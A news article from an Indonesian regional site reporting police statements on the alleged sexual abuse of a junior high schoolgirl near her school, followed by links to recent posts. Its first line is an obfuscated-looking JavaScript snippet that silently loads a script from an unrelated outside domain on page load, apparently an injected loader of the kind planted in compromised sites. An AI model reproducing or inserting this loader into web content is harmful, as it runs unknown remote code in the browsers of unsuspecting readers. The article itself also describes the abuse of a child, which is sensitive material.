(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pemuda Ini Garap Siswi SMP di Hutan Belakang Sekolah


BUNTOK, Siswi SMP kelas 1 warga Desa Rampa Mea, Kecamatan Dusun Selatan, Kabupaten Barito Selatan (Barsel) dibikin malu. Sebut saja L, diduga dicabuli oleh EA (20) di semak-semak hutan belakang SMP 1 Rampa Mea dengan cara dibekap mulut korban hingga tidak sadarkan diri.

“Kejadian tersebut terjadi pada Senin (2/4) lalu, tersangka EA melarikan diri dan bisa diamankan beberapa hari yang lalu,” Kata Kapolres Barsel AKBP Eka Syarif Nugraha Husen SIK Msi melalui Kasat Reskrim AKP Tryo Sugiyono  kepada Kanal Kalimantan, Selasa (10/4).

Kasat Reskri Polres Barsel menceritakan, sebelum kejadian korban dibawa oleh tersangka ke arah hutan di belakang SMP 1 Rampa Mea, setelah berada disemak-semak tersangka lalu membuka celananya dan kemudian membekap mulut korban dengan menggunakan bajunya sampai korban tidak sadarkan diri.

“Saat korban tidak sadarkan diri, tersangka mencabuli korban sebanyak satu kali. Lalu pada saat korban sadar, korban melihat tersangka duduk di sampingnya, korban melihat pada saat itu rok sekolahnya sudah terangkat ke atas dan celana dalamnya terlepas terletak di dekat kakinya di atas tanah,” ungkap Tryo.

Setelah sadar korban langsung lari ke dalam hutan selama satu malam, korban diam di dalam hutan. Baru pada hari Selasa (3/4) sekitar pukul 07.00 WIB korban keluar hutan, dengan mengikuti bekas jalan setapak orang dan kemudian ketemu dengan warga yang mencarinya.

“Atas kejadian tersebut orang tua korban melapor kejadian tersebut ke kantor Polres Barsel dan segera kita tindak lebih lanjuti,” ucap Tryo.

Lewat laporan tersebut pihak Polres Barsel langsung melakukan pencarian dan tidak butuh waktu lama tersangka bisa ditangkap untuk proses lebih lanjut.

“Atas perbuatannya tersangka dikenakan pasal 82 Ayat (1) UU RI No 17 tahun 2016 tentang penetapan Perpu No 1 tahun 2016 tentang perubahan kedua atas UU No 23 tahun 2002 tentang Perlindungan Anak dengan ancaman hukuman 15 tahun penjara,” tandas Tryo. (digdo)

Reporter : Digdo
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

2 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

2 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

3 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

3 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

3 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

3 jam ago

This website uses cookies.